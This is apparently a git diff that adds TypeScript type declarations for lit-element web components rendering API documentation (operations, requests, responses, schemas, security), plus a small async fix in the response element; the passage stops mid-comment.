+  render(): TemplateResult;
+
+  /**
+   * @returns The template for the server selector.
+   */
+  [serverSelectorTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the server selector.
+   */
+  [modelTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the API summary page.
+   */
+  [summaryTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the API security definition page.
+   */
+  [securityTemplate](): TemplateResult|string;
+  /**
+   * @returns The template for the RAML's documentation page.
+   */
+  [documentationTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the API schema page.
+   */
+  [schemaTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the API endpoint page.
+   */
+  [resourceTemplate](): TemplateResult|string;
+}
diff --git a/src/elements/ApiOperationDocumentElement.d.ts b/src/elements/ApiOperationDocumentElement.d.ts
new file mode 100644
index 0000000..17490bc
--- /dev/null
+++ b/src/elements/ApiOperationDocumentElement.d.ts
@@ -0,0 +1,313 @@
+import { TemplateResult } from 'lit-element';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { ApiEndPoint, ApiServer, ApiOperation, ApiResponse, ApiCallback, ApiSecurityRequirement } from '../helpers/api';
+import { Operation } from '../helpers/amf';
+
+export const queryEndpoint: unique symbol;
+export const queryServers: unique symbol;
+export const queryResponses: unique symbol;
+export const operationValue: unique symbol;
+export const endpointValue: unique symbol;
+export const serversValue: unique symbol;
+export const serverIdValue: unique symbol;
+export const urlValue: unique symbol;
+export const responsesValue: unique symbol;
+export const computeUrlValue: unique symbol;
+export const computeParametersValue: unique symbol;
+export const snippetsParametersValue: unique symbol;
+export const computeSnippetsPayload: unique symbol;
+export const computeSnippetsHeaders: unique symbol;
+export const snippetsPayloadValue: unique symbol;
+export const snippetsHeadersValue: unique symbol;
+export const baseUriValue: unique symbol;
+export const preselectResponse: unique symbol;
+export const preselectSecurity: unique symbol;
+export const requestMimeChangeHandler: unique symbol;
+export const titleTemplate: unique symbol;
+export const traitsTemplate: unique symbol;
+export const summaryTemplate: unique symbol;
+export const urlTemplate: unique symbol;
+export const requestTemplate: unique symbol;
+export const responseTemplate: unique symbol;
+export const responseTabsTemplate: unique symbol;
+export const responseContentTemplate: unique symbol;
+export const statusCodeHandler: unique symbol;
+export const securitySectionTemplate: unique symbol;
+export const securityTemplate: unique symbol;
+export const deprecatedTemplate: unique symbol;
+export const metaDataTemplate: unique symbol;
+export const tryItTemplate: unique symbol;
+export const tryItHandler: unique symbol;
+export const callbacksTemplate: unique symbol;
+export const callbackTemplate: unique symbol;
+export const snippetsTemplate: unique symbol;
+export const securitySelectorTemplate: unique symbol;
+export const securitySelectionHandler: unique symbol;
+export const securityTabTemplate: unique symbol;
+export const computeOperationModel: unique symbol;
+
+/**
+ * A web component that renders the documentation page for an API operation built from 
+ * the AMF graph model.
+ * 
+ * @fires tryit
+ */
+export default class ApiOperationDocumentElement extends ApiDocumentationBase {
+  /**
+   * @returns The computed list of servers.
+   */
+  get servers(): ApiServer[]|undefined;
+  [serversValue]: ApiServer[]|undefined;
+
+  /**
+   * @returns The current server in use.
+   */
+  get server(): ApiServer|undefined;
+
+  get operation(): ApiOperation;
+  set operation(value: ApiOperation);
+  [operationValue]: ApiOperation;
+
+  get endpoint(): ApiEndPoint;
+  set endpoint(value: ApiEndPoint);
+  [endpointValue]: ApiEndPoint;
+
+  /**
+   * @returns The computed URI for the endpoint.
+   */
+  get endpointUri(): string|undefined;
+
+  get snippetsUri(): string;
+
+  /**
+   * @returns The computed list of responses for this operation.
+   */
+  get responses(): ApiResponse[]|undefined;
+  [responsesValue]: ApiResponse[]|undefined;
+
+  /**
+   * A property to set to override AMF's model base URI information.
+   * When this property is set, the `endpointUri` property is recalculated.
+   * @attribute
+   */
+  baseUri: string;
+  [baseUriValue]: string;
+  /** 
+  * The id of the currently selected server to use to construct the URL.
+  * If not set a first server in the API servers array is used.
+  * @attribute
+  */
+  serverId: String;
+  /** 
+  * The domain id of the currently selected security to render.
+  * This is only used when a multiple security schemes are applied to the operation.
+  * @attribute
+  */
+  securityId: String;
+  /** 
+  * When set it opens the response section
+  * @attribute
+  */
+  responsesOpened: boolean;
+  /** 
+  * When set it opens the security section
+  * @attribute
+  */
+  securityOpened: boolean;
+  /** 
+  * When set it opens the code snippets section
+  * @attribute
+  */
+  snippetsOpened: boolean;
+  /** 
+  * The selected status code in the responses section.
+  * @attribute
+  */
+  selectedStatus: string;
+  /** 
+  * Whether the callbacks section is opened.
+  * @attribute
+  */
+  callbacksOpened: string;
+  /** 
+  * When set it renders the "try it" button that dispatches the `tryit` event.
+  * @attribute
+  */
+  tryItButton: boolean;
+  /** 
+  * When set it renders the view optimised for asynchronous API operation.
+  * @attribute
+  */
+  asyncApi: boolean;
+  /**
+  * When set it renders code examples section is the documentation
+  * @attribute
+  */
+  renderCodeSnippets: boolean;
+  /**
+  * When set it renders security documentation when applicable
+  * @attribute
+  */
+  renderSecurity: boolean;
+  /** 
+  * The currently rendered request panel mime type.
+  * @attribute
+  */
+  requestMimeType: string;
+
+  [urlValue]: string;
+  domainModel: Operation;
+  [snippetsPayloadValue]: string;
+  [snippetsHeadersValue]: string;
+
+  constructor();
+  processGraph(): Promise<void>;
+
+  /**
+   * Computes an AMF model for the operation from the current AMF model.
+   * THe `amf` can be a partial model which has the operations list directly.
+   * @param domainId The domain id of the operation.
+   */
+  [computeOperationModel](domainId: string): ApiOperation|undefined;
+
+  /**
+   * Queries for the API operation's endpoint data.
+   */
+  [queryEndpoint](): Promise<void>;
+
+  /**
+   * Queries for the current servers value.
+   */
+  [queryServers](): Promise<void>;
+
+  /**
+   * Queries for the responses data of the current operation.
+   */
+  [queryResponses](): Promise<void>;
+
+  /**
+   * Updates the `selectedStatus` if not selected or the current selection doesn't 
+   * exists in the current list of responses.
+   */
+  [preselectResponse](): void;
+
+  /**
+   * Updates the `securityId` if not selected or the current selection doesn't 
+   * exists in the current list of security.
+   */
+  [preselectSecurity](): void;
+
+  /**
+   * Computes the URL value for the current serves, selected server, and endpoint's path.
+   */
+  [computeUrlValue](): void;
+
+  /**
+   * Computes query parameters for the code snippets.
+   */
+  [computeParametersValue](): void;
+
+  /**
+   * Computes payload value for the code snippets.
+   */
+  [computeSnippetsPayload](): void;
+
+  /**
+   * Computes headers value for the code snippets.
+   */
+  [computeSnippetsHeaders](): void;
+
+  /**
+   * A handler for the status code tab selection.
+   */
+  [statusCodeHandler](e: Event): void;
+
+  /**
+   * A handler for the status code tab selection.
+   */
+  [securitySelectionHandler](e: Event): void;
+
+  /**
+   * A handler for the try it button click.
+   * It dispatches the `tryit` custom event.
+   */
+  [tryItHandler](): void;
+
+  /**
+   * A handler for the request panel mime type change.
+   */
+  [requestMimeChangeHandler](e: Event): void;
+
+  render(): TemplateResult;
+
+  /**
+   * @returns The template for the Operation title.
+   */
+  [titleTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the Operation traits.
+   */
+  [traitsTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the operation summary filed.
+   */
+  [summaryTemplate](): TemplateResult|string;
+
+  /**
+   * @returns {TemplateResult[]|string} The template for the Operation meta information.
+   */
+  [metaDataTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the deprecated message.
+   */
+  [deprecatedTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the operation's URL.
+   */
+  [urlTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the operation's request documentation element.
+   */
+  [requestTemplate](): TemplateResult|string;
+
+  [callbacksTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the operation's request documentation element.
+   */
+  [callbackTemplate](callback: ApiCallback): TemplateResult|string;
+
+  [responseTemplate](): TemplateResult|string;
+  /**
+   * @param responses The responses to render.
+   * @returns The template for the responses selector.
+   */
+  [responseTabsTemplate](responses: ApiResponse[]): TemplateResult|string;
+
+  /**
+   * @param responses The responses to render.
+   * @returns The template for the currently selected response.
+   */
+  [responseContentTemplate](responses: ApiResponse[]): TemplateResult|string;
+
+  /**
+   * @returns The template for the security list section.
+   */
+  [securitySectionTemplate](): TemplateResult|string;
+  [securityTemplate](security: ApiSecurityRequirement): TemplateResult|string;
+  [securitySelectorTemplate](): TemplateResult|string;
+  [securityTabTemplate](security: ApiSecurityRequirement): TemplateResult|string;
+  /**
+   * @returns The template for the "try it" button.
+   */
+  [tryItTemplate](): TemplateResult|string;
+  /**
+   * @returns The template for the code snippets.
+   */
+  [snippetsTemplate](): TemplateResult|string;
+}
diff --git a/src/elements/ApiParameterDocumentElement.d.ts b/src/elements/ApiParameterDocumentElement.d.ts
new file mode 100644
index 0000000..66bda21
--- /dev/null
+++ b/src/elements/ApiParameterDocumentElement.d.ts
@@ -0,0 +1,44 @@
+import { TemplateResult } from 'lit-element';
+import { ApiDocumentationBase, descriptionTemplate } from './ApiDocumentationBase.js';
+import { ApiParameter, ApiShapeUnion } from '../helpers/api';
+
+export const queryParameter: unique symbol;
+export const querySchema: unique symbol;
+export const parameterValue: unique symbol;
+export const schemaValue: unique symbol;
+export const computeParamType: unique symbol;
+export const typeLabelValue: unique symbol;
+
+/**
+ * A web component that renders the documentation for a single request / response parameter.
+ */
+export default class ApiParameterDocumentElement extends ApiDocumentationBase {
+  get parameter(): ApiParameter
+  set parameter(value: ApiParameter);
+  [parameterValue]: ApiParameter
+  [schemaValue]: ApiShapeUnion;
+  [typeLabelValue]: string;
+
+  constructor();
+
+  /**
+   * Prepares the values to be rendered.
+   */
+  processGraph(): Promise<void>;
+
+  /**
+   * Reads the schema from the parameter.
+   */
+  [querySchema](): Promise<void>;
+
+  /**
+   * Computes the schema type label value to render in the type view.
+   */
+  [computeParamType](): void;
+
+  render(): TemplateResult;
+  /**
+   * @return The template for the parameter description. 
+   */
+  [descriptionTemplate](): TemplateResult|string;
+}
diff --git a/src/elements/ApiParametrizedSecuritySchemeElement.d.ts b/src/elements/ApiParametrizedSecuritySchemeElement.d.ts
new file mode 100644
index 0000000..acee2db
--- /dev/null
+++ b/src/elements/ApiParametrizedSecuritySchemeElement.d.ts
@@ -0,0 +1,28 @@
+import { TemplateResult } from "lit-element";
+import ApiSecurityDocumentElement, { settingsTemplate } from "./ApiSecurityDocumentElement.js";
+import { ApiSecuritySettingsUnion } from '../helpers/api';
+
+export const settingsIdValue: unique symbol;
+export const querySettings: unique symbol;
+export const settingsValue: unique symbol;
+export const mergeSettings: unique symbol;
+
+export default class ApiParametrizedSecuritySchemeElement extends ApiSecurityDocumentElement {
+  get settings(): ApiSecuritySettingsUnion|undefined
+  set settings(value: ApiSecuritySettingsUnion|undefined);
+  [settingsValue]: ApiSecuritySettingsUnion|undefined;
+
+  constructor();
+
+  /**
+   * @returns The template for the security settings, when required.
+   */
+  [settingsTemplate](): TemplateResult|string;
+
+  /**
+   * @param applied The settings applied to the current object
+   * @param scheme The settings defined in the scheme
+   * @returns The merged settings to render.
+   */
+  [mergeSettings](applied: ApiSecuritySettingsUnion, scheme: ApiSecuritySettingsUnion): ApiSecuritySettingsUnion;
+}
diff --git a/src/elements/ApiPayloadDocumentElement.d.ts b/src/elements/ApiPayloadDocumentElement.d.ts
new file mode 100644
index 0000000..7559b66
--- /dev/null
+++ b/src/elements/ApiPayloadDocumentElement.d.ts
@@ -0,0 +1,45 @@
+import { TemplateResult } from 'lit-element';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { ApiPayload } from '../helpers/api';
+import { Payload } from '../helpers/amf';
+
+export const queryPayload: unique symbol;
+export const queryExamples: unique symbol;
+export const payloadValue: unique symbol;
+export const processPayload: unique symbol;
+export const mediaTypeTemplate: unique symbol;
+export const nameTemplate: unique symbol;
+export const schemaTemplate: unique symbol;
+
+export default class ApiPayloadDocumentElement extends ApiDocumentationBase {
+  get payload(): ApiPayload;
+  set payload(value: ApiPayload);
+  [payloadValue]: ApiPayload;
+  domainModel: Payload;
+
+  constructor();
+
+  /**
+   * Queries the graph store for the API Payload data.
+   */
+  processGraph(): Promise<void>;
+
+  [processPayload](): Promise<void>;
+
+  render(): TemplateResult;
+
+  /**
+   * @return The template for the payload mime type.
+   */
+  [mediaTypeTemplate](): TemplateResult|string;
+
+  /**
+   * @return The template for the payload name
+   */
+  [nameTemplate](): TemplateResult|string;
+
+  /**
+   * @return The template for the payload's schema
+   */
+  [schemaTemplate](): TemplateResult|string;
+}
diff --git a/src/elements/ApiRequestDocumentElement.d.ts b/src/elements/ApiRequestDocumentElement.d.ts
new file mode 100644
index 0000000..c409031
--- /dev/null
+++ b/src/elements/ApiRequestDocumentElement.d.ts
@@ -0,0 +1,140 @@
+import { TemplateResult } from 'lit-element';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { Request } from '../helpers/amf';
+import { ApiRequest, ApiPayload, ApiServer, ApiEndPoint, ApiParameter } from '../helpers/api';
+import { OperationParameter } from '../types';
+
+export const queryRequest: unique symbol;
+export const requestValue: unique symbol;
+export const queryPayloads: unique symbol;
+export const payloadsValue: unique symbol;
+export const payloadValue: unique symbol;
+export const notifyMime: unique symbol;
+export const preselectMime: unique symbol;
+export const queryParamsTemplate: unique symbol;
+export const headersTemplate: unique symbol;
+export const cookiesTemplate: unique symbol;
+export const payloadTemplate: unique symbol;
+export const payloadSelectorTemplate: unique symbol;
+export const mediaTypeSelectHandler: unique symbol;
+export const processQueryParameters: unique symbol;
+export const queryParametersValue: unique symbol;
+
+/**
+ * A web component that renders the documentation page for an API request object.
+ * 
+ * @fires mimechange
+ */
+export default class ApiRequestDocumentElement extends ApiDocumentationBase {
+  /**
+   * @returns {boolean} true when has cookie parameters definition
+   */
+  get hasCookieParameters(): boolean;
+
+  /**
+   * @returns {boolean} true when has headers parameters definition
+   */
+  get hasHeaders(): boolean;
+
+  /**
+   * @returns {boolean} true when has query parameters definition
+   */
+  get hasQueryParameters(): boolean;
+
+  /**
+   * @returns The combined list of path parameters in the server, endpoint, and the request.
+   */
+  get uriParameters(): ApiParameter[];
+
+  /**
+   * @returns {boolean} true when has query string definition
+   */
+  get hasQueryString(): boolean;
+  get [payloadValue](): ApiPayload|undefined;
+  [payloadsValue]: ApiPayload|undefined;
+  get request(): ApiRequest;
+  set request(value: ApiRequest);
+  [requestValue]: ApiRequest;
+
+  /** 
+   * When set it opens the parameters section
+   * @attribute
+   */
+  parametersOpened: boolean;
+  /** 
+  * When set it opens the headers section
+  * @attribute
+  */
+  headersOpened: boolean;
+  /** 
+  * When set it opens the cookies section
+  * @attribute
+  */
+  cookiesOpened: boolean;
+  /** 
+  * When set it opens the payload section
+  * @attribute
+  */
+  payloadOpened: boolean;
+  /** 
+  * The currently selected media type for the payloads.
+  * @attribute
+  */
+  mimeType: string;
+  /** 
+  * The current server in use.
+  * It adds path parameters defined for the server.
+  */
+  server: ApiServer;
+  /** 
+  * The parent endpoint of this request.
+  * It adds path parameters defined for the endpoint.
+  */
+  endpoint: ApiEndPoint;
+  [queryParametersValue]: OperationParameter[];
+  domainModel: Request;
+  constructor();
+  processGraph(): Promise<void>;
+  [queryPayloads](): Promise<void>;
+  /**
+   * Creates a parameter 
+   */
+  [processQueryParameters](): Promise<void>;
+  /**
+   * Pre-selects when needed the mime type for the current payload.
+   */
+  [preselectMime](): void;
+  [mediaTypeSelectHandler](e: Event): void;
+
+  /**
+   * Dispatches the `mimechange` event.
+   */
+  [notifyMime](): void;
+
+  render(): TemplateResult;
+
+  /**
+   * @return The template for the query parameters
+   */
+  [queryParamsTemplate](): TemplateResult|string;
+
+  /**
+   * @return The template for the headers
+   */
+  [headersTemplate](): TemplateResult|string;
+
+  /**
+   * @return The template for the cookies list section
+   */
+  [cookiesTemplate](): TemplateResult|string;
+
+  /**
+   * @return The template for the payload section
+   */
+  [payloadTemplate](): TemplateResult|string;
+
+  /**
+   * @return The template for the payload media type selector.
+   */
+  [payloadSelectorTemplate](): TemplateResult|string;
+}
diff --git a/src/elements/ApiResourceDocumentElement.d.ts b/src/elements/ApiResourceDocumentElement.d.ts
new file mode 100644
index 0000000..8836b21
--- /dev/null
+++ b/src/elements/ApiResourceDocumentElement.d.ts
@@ -0,0 +1,282 @@
+import { TemplateResult } from 'lit-element';
+import { Oauth2Credentials } from '@advanced-rest-client/authorization';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { EndPoint } from '../helpers/amf';
+import { ApiOperation, ApiServer, ApiEndPoint } from '../helpers/api';
+import { ApiConsoleRequest, ServerType } from '../types';
+
+export const operationIdValue: unique symbol;
+export const queryEndpoint: unique symbol;
+export const queryServers: unique symbol;
+export const endpointValue: unique symbol;
+export const serversValue: unique symbol;
+export const serverValue: unique symbol;
+export const serverIdValue: unique symbol;
+export const urlValue: unique symbol;
+export const baseUriValue: unique symbol;
+export const computeUrlValue: unique symbol;
+export const titleTemplate: unique symbol;
+export const urlTemplate: unique symbol;
+export const operationsTemplate: unique symbol;
+export const operationTemplate: unique symbol;
+export const operationIdChanged: unique symbol;
+export const selectServer: unique symbol;
+export const processServerSelection: unique symbol;
+export const extensionsTemplate: unique symbol;
+export const tryItColumnTemplate: unique symbol;
+export const httpRequestTemplate: unique symbol;
+export const codeSnippetsPanelTemplate: unique symbol;
+export const requestChangeHandler: unique symbol;
+export const requestValues: unique symbol;
+export const collectCodeSnippets: unique symbol;
+export const processSelectionTimeout: unique symbol;
+export const extendsTemplate: unique symbol;
+export const traitsTemplate: unique symbol;
+
+/**
+ * A web component that renders the resource documentation page for an API resource built from 
+ * the AMF graph model.
+ * 
+ * @fires tryit
+ */
+export default class ApiResourceDocumentationElement extends ApiDocumentationBase {
+  get endpoint(): ApiEndPoint|undefined;
+  set endpoint(value: ApiEndPoint);
+  [endpointValue]: ApiEndPoint;
+  [operationIdValue]: string;
+  [serverIdValue]: string;
+  [serverValue]: ApiServer|undefined;
+  get server(): ApiServer|undefined;
+  set server(value: ApiServer);
+
+  /**
+   * @returns The list of the servers read from the API and the endpoint.
+   */
+  get servers(): ApiServer[];
+  [serversValue]: ApiServer[];
+  /**
+   * @returns The list of protocols to render.
+   */
+  get protocol(): string|undefined;
+  [baseUriValue]: string|undefined;
+  /**
+   * A property to set to override AMF's model base URI information.
+   * When this property is set, the `endpointUri` property is recalculated.
+   * @attribute
+   */
+  baseUri: string;
+
+  /**
+   * @returns The computed URI for the endpoint.
+   */
+  get endpointUri(): string|undefined;
+
+  /** 
+   * The id of the currently selected server to use to construct the URL.
+   * If not set a first server in the API servers array is used.
+   * @attribute
+   */
+  serverId: string;
+  /** 
+  * When set it scrolls to the operation with the given id, if exists.
+  * The operation is performed after render.
+  * @attribute
+  */
+  operationId: string;
+  /** 
+  * When set it opens the parameters section
+  * @attribute
+  */
+  parametersOpened: boolean;
+  /** 
+  * When set it renders the "try it" button that dispatches the `tryit` event.
+  * @attribute
+  */
+  tryItButton: boolean;
+  /** 
+  * When set it renders the "try it" panel next to the operation documentation.
+  * Setting this automatically disables the `tryItButton` property.
+  * 
+  * Note, use this only when there's enough space on the screen to render 2 panels side-by-side.
+  * @attribute
+  */
+  tryItPanel: boolean;
+  /** 
+  * When set it renders the URL input above the URL parameters in the HTTP editor.
+  * @attribute
+  */
+  httpUrlEditor: boolean;
+  /** 
+  * When set it applies the authorization values to the request dispatched
+  * with the API request event.
+  * If possible, it applies the authorization values to query parameter or headers
+  * depending on the configuration.
+  * 
+  * When the values arr applied to the request the authorization config is kept in the
+  * request object, but its `enabled` state is always `false`, meaning other potential
+  * processors should ignore this values.
+  * 
+  * If this property is not set then the application hosting this component should
+  * process the authorization data and apply them to the request.
+  * @attribute
+  */
+  httpApplyAuthorization: boolean;
+  /**
+  * List of credentials source passed to the HTTP editor
+  */
+  httpCredentialsSource: Oauth2Credentials[];
+  /**
+  * OAuth2 redirect URI.
+  * This value **must** be set in order for OAuth 1/2 to work properly.
+  * This is only required in inline mode (`inlineMethods`).
+  * @attribute
+  */
+  redirectUri: string;
+  /**
+  * Optional property to set on the request editor. 
+  * When true, the server selector is not rendered
+  * @attribute
+  */
+  httpNoServerSelector: boolean;
+  /**
+  * When set it renders "add custom" item button in the HTTP request editor.
+  * If the element is to be used without AMF model this should always
+  * be enabled. Otherwise users won't be able to add a parameter.
+  * @attribute
+  */
+  httpAllowCustom: boolean;
+  /**
+  * Optional property to set on the request editor. 
+  * If true, the server selector custom base URI option is rendered
+  * @attribute
+  */
+  httpAllowCustomBaseUri: boolean;
+  /** 
+  * When set it renders the view optimised for asynchronous API operation.
+  * @attribute
+  */
+  asyncApi: boolean;
+  /**
+  * Holds the value of the currently selected server
+  * Data type: URI
+  * @attribute
+  */
+  serverValue: string;
+  /**
+  * Holds the type of the currently selected server
+  * Values: `server` | `uri` | `custom`
+  * @attribute
+  */
+  serverType: ServerType;
+  domainModel: EndPoint;
+  [requestValues]: Record<string, ApiConsoleRequest>;
+
+  [processSelectionTimeout]: any;
+
+  // /**
+  //  * @returns {boolean} true when the API operated over an HTTP protocol. By default it returns true.
+  //  */
+  // get isHttp() {
+  //   const { protocol } = this;
+  //   return ['http', 'https'].includes(String(protocol).toLowerCase());
+  // }
+
+  constructor();
+
+  disconnectedCallback(): void;
+
+  /**
+   * Scrolls the view to the operation, when present in the DOM.
+   * @param id The operation domain id to scroll into.
+   */
+  scrollToOperation(id: string): void;
+  processGraph(): Promise<void>;
+
+  /**
+   * Scrolls to the selected operation after view update.
+   */
+  [operationIdChanged](): Promise<void>;
+
+  /**
+   * Queries for the current servers value.
+   */
+  [queryServers](): Promise<void>;
+
+  /**
+   * Sets the private server value for the current server defined by `serverId`.
+   * Calls the `[processServerSelection]()` function to set server related values.
+   */
+  [selectServer](): void;
+  
+  /**
+   * Performs actions after a server is selected.
+   */
+  [processServerSelection](): void;
+
+  /**
+   * Computes the URL value for the current serves, selected server, and endpoint's path.
+   */
+  [computeUrlValue](): void;
+
+  /**
+   * Runs over each request editor and collects request values for code snippets generators.
+   */
+  [collectCodeSnippets](): void;
+  [requestChangeHandler](e: Event): void;
+
+  render(): TemplateResult;
+
+  /**
+   * @returns The template for the Operation title.
+   */
+  [titleTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the operation's URL.
+   */
+  [urlTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the list of operations.
+   */
+  [operationsTemplate](): TemplateResult|string;
+
+  /**
+   * @param operation The operation to render.
+   * @returns The template for the API operation.
+   */
+  [operationTemplate](operation: ApiOperation): TemplateResult|string;
+
+  /**
+   * @param operation The operation to render.
+   * @returns The template for the try it column panel rendered next to the operation documentation/
+   */
+  [tryItColumnTemplate](operation: ApiOperation): TemplateResult|string;
+
+  /**
+   * @param operation The operation to render.
+   * @returns The template for the request editor.
+   */
+  [httpRequestTemplate](operation: ApiOperation): TemplateResult|string;
+
+  /**
+   * @param operation The operation to render.
+   * @returns The template for the request's code snippets.
+   */
+  [codeSnippetsPanelTemplate](operation: ApiOperation): TemplateResult|string;
+
+  /**
+   * @return The template for the endpoint's extensions.
+   */
+  [extensionsTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the parent resource type.
+   */
+  [extendsTemplate](label: string): TemplateResult|string;
+
+  /**
+   * @returns The template for the traits applied to the resource.
+   */
+  [traitsTemplate](label: string): TemplateResult|string;
+}
diff --git a/src/elements/ApiResponseDocumentElement.d.ts b/src/elements/ApiResponseDocumentElement.d.ts
new file mode 100644
index 0000000..d028775
--- /dev/null
+++ b/src/elements/ApiResponseDocumentElement.d.ts
@@ -0,0 +1,99 @@
+import { TemplateResult } from 'lit-element';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { Response } from '../helpers/amf';
+import { ApiResponse, ApiPayload, ApiTemplatedLink, ApiIriTemplateMapping } from '../helpers/api';
+
+export const queryResponse: unique symbol;
+export const responseValue: unique symbol;
+export const queryPayloads: unique symbol;
+export const payloadsValue: unique symbol;
+export const payloadValue: unique symbol;
+export const headersTemplate: unique symbol;
+export const payloadTemplate: unique symbol;
+export const payloadSelectorTemplate: unique symbol;
+export const linksTemplate: unique symbol;
+export const linkTemplate: unique symbol;
+export const linkOperationTemplate: unique symbol;
+export const linkMappingsTemplate: unique symbol;
+export const linkMappingTemplate: unique symbol;
+export const mediaTypeSelectHandler: unique symbol;
+
+/**
+ * A web component that renders the documentation page for an API response object.
+ */
+export default class ApiResponseDocumentElement extends ApiDocumentationBase {
+  /**
+   * @returns true when has headers parameters definition
+   */
+  get hasHeaders(): boolean;
+  get [payloadValue](): ApiPayload|undefined;
+
+  [responseValue]: ApiResponse;
+  get response(): ApiResponse;
+  set response(value: ApiResponse);
+  /** 
+   * When set it opens the headers section
+   * @attribute
+   */
+  headersOpened: boolean;
+  /** 
+  * When set it opens the payload section
+  * @attribute
+  */
+  payloadOpened: boolean;
+  /** 
+  * The currently selected media type for the payloads.
+  * @attribute
+  */
+  mimeType: string;
+  [payloadsValue]: ApiPayload[];
+  domainModel: Response;
+  constructor();
+
+  /**
+   * Queries the graph store for the API Response data.
+   */
+  processGraph(): Promise<void>;
+  [queryPayloads](): Promise<void>;
+  [mediaTypeSelectHandler](e: Event): void;
+
+  render(): TemplateResult;
+
+  /**
+   * @returns The template for the headers
+   */
+  [headersTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the payload section
+   */
+  [payloadTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the payload media type selector.
+   */
+  [payloadSelectorTemplate](): TemplateResult|string;
+
+  /**
+   * @returns The template for the response links
+   */
+  [linksTemplate](): TemplateResult|string;
+  /**
+   * @returns {TemplateResult} A template for the link
+   */
+  [linkTemplate](link: ApiTemplatedLink): TemplateResult|string;
+
+  /**
+   * @returns The template for the link's operation
+   */
+  [linkOperationTemplate](operationId: string): TemplateResult|string;
+  /**
+   * @returns The template for the link's operation
+   */
+  [linkMappingsTemplate](mappings: ApiIriTemplateMapping[]): TemplateResult|string;
+
+  /**
+   * @returns {TemplateResult} The template for the link's operation
+   */
+  [linkMappingTemplate](mapping: ApiIriTemplateMapping): TemplateResult|string;
+}
diff --git a/src/elements/ApiResponseDocumentElement.js b/src/elements/ApiResponseDocumentElement.js
index 88eaa4d..5f49b15 100644
--- a/src/elements/ApiResponseDocumentElement.js
+++ b/src/elements/ApiResponseDocumentElement.js
@@ -143,11 +143,11 @@ export default class ApiResponseDocumentElement extends ApiDocumentationBase {
     if (domainModel) {
       this[responseValue] = this[serializerValue].response(domainModel);
     }
-    this[queryPayloads]();
+    await this[queryPayloads]();
     await this.requestUpdate();
   }
 
-  [queryPayloads]() {
+  async [queryPayloads]() {
     const { response } = this;
     if (!response || !Array.isArray(response.payloads) || !response.payloads.length) {
       this[payloadsValue] = undefined;
diff --git a/src/elements/ApiSchemaDocumentElement.d.ts b/src/elements/ApiSchemaDocumentElement.d.ts
new file mode 100644
index 0000000..0515063
--- /dev/null
+++ b/src/elements/ApiSchemaDocumentElement.d.ts
@@ -0,0 +1,200 @@
+import { TemplateResult } from 'lit-element';
+import { ApiDocumentationBase } from './ApiDocumentationBase.js';
+import { Shape } from '../helpers/amf';
+import { ApiShape, ApiShapeUnion, ApiScalarShape, ApiNodeShape, ApiUnionShape, ApiFileShape, ApiSchemaShape, ApiAnyShape, ApiArrayShape, ApiTupleShape, ApiPropertyShape } from '../helpers/api';
+
+export const mimeTypeValue: unique symbol;
+export const querySchema: unique symbol;
+export const schemaValue: unique symbol;
+export const expandedValue: unique symbol;
+export const selectedUnionsValue: unique symbol;
+export const processSchema: unique symbol;
+export const titleTemplate: unique symbol;
+export const expandHandler: unique symbol;
+export const expandKeydownHandler: unique symbol;
+export const anyOfSelectedHandler: unique symbol;
+export const schemaContentTemplate: unique symbol;
+export const scalarShapeTemplate: unique symbol;
+export const nodeShapeTemplate: unique symbol;
+export const unionShapeTemplate: unique symbol;
+export const fileShapeTemplate: unique symbol;
+export const schemaShapeTemplate: unique symbol;
+export const arrayShapeTemplate: unique symbol;
+export const tupleShapeTemplate: unique symbol;
+export const anyShapeTemplate: unique symbol;
+export const shapePropertyTemplate: unique symbol;
+export const shapePropertyWithoutRangeTemplate: unique symbol;
+export const anyOfUnionTemplate: unique symbol;
+export const anyOfOptionsTemplate: unique symbol;
+export const propertyDescriptionTemplate: unique symbol;
+export const propertyDescriptionEditor: unique symbol;
+export const checkSchemaPropertyUpdate: unique symbol;
+export const propertyDecoratorTemplate: unique symbol;
+export const toggleExpandedProperty: unique symbol;
+export const andUnionItemTemplate: unique symbol;
+export const orderUnion: unique symbol;
+export const inheritanceNameTemplate: unique symbol;
+export const nilShapeTemplate: unique symbol;
+
+export default class ApiSchemaDocumentElement extends ApiDocumentationBase {
+  [mimeTypeValue]: string;
+  /** 
+   * The mime type to use to render the examples.
+   */
+  get mimeType(): string;
+  set mimeType(value: string);
+  [schemaValue]: ApiShapeUnion;
+  get schema(): ApiShapeUnion;
+  set schema(value: ApiShapeUnion);
+  /** 
+   * Generates examples from the schema properties for the given mime type 
+   * when examples are not defined in the schema.
+   * @attribute
+   */
+  forceExamples: boolean;
+  /** 
+  * When set it allows to manipulate the properties.
+  * This is to be used with a combination with the `edit` property.
+  * @attribute
+  */
+  editProperties: boolean;
+  /** 
+  * When set it renders the title with lower emphasis and adding `schema` prefix.
+  * @attribute
+  */
+  schemaTitle: boolean;
+  /** 
+  * When set it does not render read only items.
+  * Read only property is a feature of OAS.
+  * @attribute
+  */
+  noReadOnly: boolean;
+
+  [expandedValue]: string[];
+  [selectedUnionsValue]: Record<string, string>;
+  [propertyDescriptionEditor]: string;
+  domainModel: Shape;
+
+  constructor();
+
+  processGraph(): Promise<void>;
+
+  /**
+   * The logic to perform after schema is ready.
+   * This processes examples for the schema.
+   */
+  [processSchema](): void;
+
+  /**
+   * Checks the current schema whether it contains a property with the given id
